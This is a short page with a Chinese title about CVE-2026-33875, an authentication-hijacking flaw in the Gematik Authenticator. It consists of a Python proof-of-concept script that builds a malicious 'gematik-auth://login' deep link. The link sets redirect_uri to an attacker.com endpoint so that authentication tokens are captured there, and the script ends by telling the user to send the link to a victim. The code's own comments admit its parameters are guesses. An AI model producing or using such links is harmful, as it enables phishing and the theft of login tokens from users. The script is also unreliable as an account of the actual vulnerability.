CVE-2026-33875 Gematik Authenticator 身份验证流程劫持漏洞

# Proof of Concept (PoC) for CVE-2026-33875 # This script demonstrates how to generate a malicious deep link # that could potentially trigger the authentication hijacking. # Note: Actual exploitation depends on the specific scheme logic. import urllib.parse def generate_malicious_link(attacker_server): # Simulating the deep link scheme used by Gematik Authenticator # The vulnerable logic likely trusts the callback URL or state token base_scheme = "gematik-auth://login" # Construct parameters that might hijack the session or redirect auth code # In a real scenario, this would involve specific parameters like 'state' or 'redirect_uri' payload = { "redirect_uri": f"{attacker_server}/capture_token", "state": "hijacked_session_id", "client_id": "malicious_client" } malicious_url = f"{base_scheme}?{urllib.parse.urlencode(payload)}" return malicious_url if __name__ == "__main__": # Attacker controlled server to receive the authentication token evil_server = "https://attacker.com" link = generate_malicious_link(evil_server) print(f"[+] Malicious Deep Link Generated:\n{link}") print("[+] Send this link to the victim and wait for interaction.")